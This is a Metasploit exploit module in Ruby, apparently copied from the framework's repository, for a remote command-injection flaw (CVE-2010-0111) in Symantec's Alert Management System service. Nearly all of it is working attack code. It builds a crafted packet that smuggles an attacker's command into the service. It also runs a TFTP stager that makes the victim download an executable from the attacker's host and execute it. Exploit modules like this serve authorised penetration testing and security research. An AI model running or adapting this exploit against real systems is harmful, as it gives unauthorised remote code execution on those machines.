Path: blob/master/modules/exploits/windows/antivirus/ams_hndlrsvc.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::Tcp10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',17'Description' => %q{18Symantec System Center Alert Management System is prone to a19remote command-injection vulnerability because the application fails20to properly sanitize user-supplied input. This is part of Symantec21AntiVirus Corporate Edition 8.0 - 10.1.7.22},23'Author' => [ 'MC' ],24'License' => MSF_LICENSE,25'References' => [26['OSVDB', '66807'],27['BID', '41959'],28['CVE', '2010-0111'],29['URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt'],30],31'Targets' => [32[33'Windows Universal',34{35'Arch' => ARCH_X86,36'Platform' => 'win'37}38]39],40'Privileged' => true,41'Platform' => 'win',42'DefaultTarget' => 0,43'DisclosureDate' => '2010-07-26',44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152register_options([53Opt::RPORT(38292),54OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),55OptAddress.new('LHOST', [ false, 'The listen IP address from where the victim downloads the payload' ])56])57end5859def windows_stager60@pl = generate_payload_exe61@tftp = Rex::Proto::TFTP::Server.new62payload_name = "#{Rex::Text.rand_text_alpha_upper(11)}.exe"63@tftp.register_file(payload_name, @pl, true)64@tftp.start65print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")66execute_command("tftp -i #{datastore['lhost']} GET #{payload_name}")67print_status("Attempting to execute the payload...")68execute_command(payload_name)69end7071def execute_command(cmd, opts = {})72connect73if (cmd.length > 128)74fail_with(Failure::Unknown, "Command strings greater then 128 characters will not be processed!")75end7677string_uno = Rex::Text.rand_text_alpha_upper(11)78string_dos = Rex::Text.rand_text_alpha_upper(rand(4) + 5)7980packet = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00"81packet << "\x02\x00\x95\x94\xc0\xa8\x02\x64\x00\x00\x00\x00\x00\x00\x00\x00"82packet << "\xe8\x03\x00\x00"83packet << 'PRGXCNFG'84packet << "\x10\x00\x00\x00"85packet << "\x00\x00\x00\x00\x04"86packet << 'ALHD\F'87packet << "\x00\x00\x01\x00\x00"88packet << "\x00\x01\x00\x0e\x00"89packet << 'Risk Repaired'90packet << "\x00\x25\x00"91packet << 'Symantec Antivirus Corporate Edition'92packet << "\x00\xf9\x1d\x13\x4a\x3f"93packet << [string_uno.length + 1].pack('v') + string_uno94packet << "\x00\x08\x08\x0a"95packet << "\x00" + 'Risk Name'96packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')97packet << "\x00" + string_dos98packet << "\x00\x08\x0a\x00"99packet << 'File Path'100packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')101packet << "\x00" + string_dos102packet << "\x00\x08\x11\x00"103packet << 'Requested Action'104packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')105packet << "\x00" + string_dos106packet << "\x00\x08\x0e\x00"107packet << 'Actual Action'108packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')109packet << "\x00" + string_dos110packet << "\x00\x08\x07\x00"111packet << 'Logger'112packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')113packet << "\x00" + string_dos114packet << "\x00\x08\x05\x00"115packet << 'User'116packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')117packet << "\x00" + string_dos118packet << "\x00\x08\x09\x00"119packet << 'Hostname'120packet << "\x00\x0e\x00" + [string_uno.length + 1].pack('v') + string_uno121packet << "\x00\x08\x13\x00"122packet << 'Corrective Actions'123packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')124packet << "\x00" + string_dos125packet << "\x00\x00\x07\x08\x12\x00"126packet << 'ConfigurationName'127packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')128packet << "\x00" + cmd129packet << "\x00\x08\x0c\x00"130packet << 'CommandLine'131packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')132packet << "\x00" + cmd133packet << "\x00\x08\x08\x00"134packet << 'RunArgs'135packet << "\x00\x04\x00\x02\x00"136packet << "\x20\x00\x03\x05\x00"137packet << 'Mode'138packet << "\x00\x04\x00\x02\x00\x00\x00"139packet << "\x0a\x0d\x00"140packet << 'FormatString'141packet << "\x00\x02\x00\x00\x00\x08\x12\x00"142packet << 'ConfigurationName'143packet << "\x00\x02\x00\x00\x00\x08\x0c\x00"144packet << 'HandlerHost'145packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')146packet << "\x00" + string_dos147packet << "\x00" * packet.length148149sock.put(packet)150151select(nil, nil, nil, 3)152disconnect153end154155def exploit156unless datastore['CMD'].blank?157print_status("Executing command '#{datastore['CMD']}'")158execute_command(datastore['CMD'])159return160end161162case target['Platform']163when 'win'164if datastore['LHOST'].blank?165fail_with(Failure::Unknown, 'If no custom CMD is set, LHOST is required.')166end167windows_stager168else169fail_with(Failure::Unknown, 'Target not supported.')170end171172handler173end174end175176177